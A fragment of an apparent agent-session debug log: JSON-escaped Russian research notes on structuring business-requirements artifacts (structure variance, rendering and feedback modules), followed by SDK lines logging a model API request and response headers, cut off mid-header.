\u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432; \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442\\n   \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432\\n   ([\u0437\u0430\u043c\u0435\u0440](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md), \u00a73).\\n2. **\u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435\u043c \u0437\u0430\u0434\u0430\u0447.** \u041d\u0430 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 BCREQ-1074\\n   \u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0434\u0430\u043b\u0438 \u0442\u0440\u0438 \u0441\u043a\u0435\u043b\u0435\u0442\u0430 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 0.69), \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\\n   \u0416\u0430\u043a\u043a\u0430\u0440 \u043f\u0430\u0434\u0430\u0435\u0442 \u0434\u043e 0.167.\\n3. **\u0423\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430 \u0430\u0440\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430.** \u0428\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f, \u043d\u043e\\n   \u0440\u0430\u0437\u0434\u0435\u043b \u0441 \u043e\u0434\u043d\u0438\u043c \u0438 \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u043e\u043c \u0432 \u0442\u0440\u0451\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043d\u0435\u0441\u0451\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430.\\n   \u041d\u043e\u0440\u043c\u0430, \u0437\u0430\u0434\u0430\u043d\u043d\u0430\u044f \u0447\u0438\u0441\u043b\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u043e\u0439.\\n4. **\u0421\u043b\u043e\u0439 \u0441\u043c\u044b\u0441\u043b\u0430 \u0438 \u0441\u043b\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c.** `S-SCENARIO` \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f 14\\n   \u0440\u0430\u0437 \u043f\u043e\u0434 14 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438. \u041f\u043e\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043d\u0438 \u043e\u0434\u0438\u043d\\n   \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d.\\n5. **UI \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b.** `S-UI` \u0438 `S-AC` \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443\\n   \u0440\u0430\u0437\u0443 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432: \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u044b\\n   \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n   \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430.\\n6. **\u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f.** \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   \u0431\u0430\u0437\u0438\u0441 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043d\u0435 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u043e \u0447\u0430\u0441\u0442\u044f\u043c: \u0441\u043b\u043e\u0438\\n   \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u043e\u0432**, \u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437\\n   \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/10-theory.md), \u00a73).\\n7. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0432\u0430\u0440\u0438\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0442\u044c \u0432 \u0441\u043a\u0435\u043b\u0435\u0442.** \u0420\u0430\u0437\u043b\u0438\u0447\u0438\u0435\\n   \u00ab\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438\u00bb \u0438 \u00ab\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0431\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a\u00bb \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e\\n   \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u0442\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439\\n   \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0441\u044f\u00bb.\\n8. **\u041e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u0442\u0440\u0451\u0445 \u2014 \u0437\u0430 \u0441\u0447\u0451\u0442 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0430 \u043d\u0435 \u0437\u0430 \u0441\u0447\u0451\u0442 \u0442\u0440\u0451\u0445\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.** \u0411\u0438\u0437\u043d\u0435\u0441-\u0424\u0422, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0430 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f\\n   \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u0442\u0440\u0438 **\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0433\u043e** \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md), \u00a75).\\n9. **Golden Set \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u0438 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u043d.** \u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u0434\u0430\u0451\u0442 \u0447\u0438\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n   \u0432\u044b\u0431\u043e\u0440\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u0442\u0430\u043b\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0434\u0443\u043a\u0446\u0438\u0435\u0439: \u043e\u043d \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e \u0433\u0435\u0439\u0442\u0430 `G-mach`, \u0430 \u043d\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 \u0435\u043c\u0443.\\n10. **\u041d\u0430\u0432\u044b\u043a \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0439 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0439 \u0442\u0438\u043f\\n    \u0440\u0430\u0431\u043e\u0442\u044b; \u043d\u0430\u0432\u044b\u043a \u2014 \u0435\u0451 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f; \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2014 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a,\\n    \u0430 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u041d\u0430\u0432\u044b\u043a \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0441\u043b\u043e\u0438, \u043f\u043e\\n    \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442.\\n\\n=== artifact-rendering\\n## BLUF\\n\\n1. `M2` \u2014 \u044d\u0442\u043e **\u0441\u0431\u043e\u0440\u043a\u0430**, \u0430 \u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435. \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0443\u0436\u0435\\n   \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u044f\u0434\u0440\u0435; `M2` \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0438\u0432\u0430\u0435\u0442 \u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442.\\n2. \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u044f: **\u043d\u0430 \u0441\u043b\u043e\u0435 `M2` \u043d\u0435 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439\\n   \u0441\u043c\u044b\u0441\u043b**. \u041b\u044e\u0431\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0435\u0435\u0441\u044f \u043f\u0440\u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0435, \u2014 \u0434\u0435\u0444\u0435\u043a\u0442.\\n3. \u041e\u0442\u0441\u044e\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u2014 \u043d\u0435\u0434\u0440\u0435\u0439\u0444 (`K5` RFC): \u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u044f\u0434\u0440\u0443, \u0430 \u043d\u0435 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0430.\\n4. \u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u0434\u0430\u0447\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0430: 23 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438\u0437 57 \u0432\u044b\u0434\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f, 9 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n5. \u0420\u0435\u043d\u0434\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d, \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n   \u0433\u0438\u0431\u0440\u0438\u0434; \u043e\u043d\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u043c, \u0430 **\u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u044c**.\\n6. \u041d\u0430\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (`custom-form` \u043e\u0441\u0438 `A1`) \u2014 \u043d\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u0430\\n   \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0447\u0438: \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0432\u0443\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f.\\n7. \u0413\u0435\u0439\u0442 `HG-5` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0434\u0433\u0435\u0439\u0442 `HG-5.1` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043c, \u0433\u0434\u0435\\n   \u043e\u0441\u044c `A6` \u0434\u0430\u0451\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440.\\n8. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 `M2` \u2014 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 `Q-2` RFC, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n   \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438.\\n\\n=== feedback-and-evolution\\n## BLUF\\n\\n1. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0431\u0435\u0437 `M3` \u043d\u0435\u043e\u0431\u0443\u0447\u0430\u0435\u043c: \u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 \u043d\u0435 \u0443\u0437\u043d\u0430\u0451\u0442, \u0431\u044b\u043b\u0438 \u043b\u0438\\n   \u043e\u043d\u0438 \u0432\u0435\u0440\u043d\u044b.\\n2. \u041a\u043e\u0440\u043f\u0443\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 100 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432,\\n   \u0430 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 5 \u0438\u0437 57 (8,8 %).\\n3. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043e\u043d\u0438 \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b: 71 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 57\\n   \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 24 \u043a\u043b\u044e\u0447\u0430 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0440\u0430\u0437, `token_method` \u0438\u043c\u0435\u0435\u0442 24\\n   \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 16 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445.\\n4. \u041e\u0442\u0441\u044e\u0434\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `M3` \u2014 \u043d\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 **\u0441\u0445\u0435\u043c\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438**\\n   `C-CL`: \u043f\u043e\u043a\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043d\u0435\u0442, \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0435\u0447\u0435\u0433\u043e.\\n5. \u0412\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u2014 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0442\u044c \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442:\\n   \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n6. \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u043c\u0435\u0441\u044f\u0446\u044b (\u0434\u0435\u0444\u0435\u043a\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0434\u0430\u0447\u0438) \u0438 \u043c\u0438\u043d\u0443\u0442\u044b\\n   (\u043f\u0440\u0430\u0432\u043a\u0430 \u043d\u0430 \u0440\u0435\u0432\u044c\u044e); \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0434\u043b\u044f \u043d\u0438\u0445 \u0440\u0430\u0437\u043d\u044b\u0435.\\n7. `M3` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b `H1.5` (\u044f\u0434\u0440\u043e \u0434\u0435\u0448\u0435\u0432\u043b\u0435\\n   \u0434\u0440\u0435\u0439\u0444\u0430) \u0438 `H2.3` (\u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442); \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043e\u043d\u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b.\\n8. `M3` \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c: \u043e\u043d \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043a\u0430\u043b\u0438\u0431\u0440\u043e\u0432\u043a\u0443 \u0432 `M1`, `M2` \u0438 `M4`\\n   \u0447\u0435\u0440\u0435\u0437 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[STDOUT] [log_896a30] sending request {\n[2026-09-29T07:46:07.658Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:07.662Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:07.672Z] [STDOUT]   options: {\n[2026-09-29T07:46:07.676Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:07.679Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:07.683Z] [STDOUT]     body: {\n[2026-09-29T07:46:07.689Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:07.695Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:07.699Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:07.710Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:07.713Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:07.727Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:07.745Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:07.749Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:07.754Z] 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   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:08.638Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:08.641Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:08.645Z] [STDOUT]     \"cf-ray\": \"a4295f4dae6e29ad-FRA\",\n[2026-09-29T07:46:08.649Z] [STDOUT]     connection: 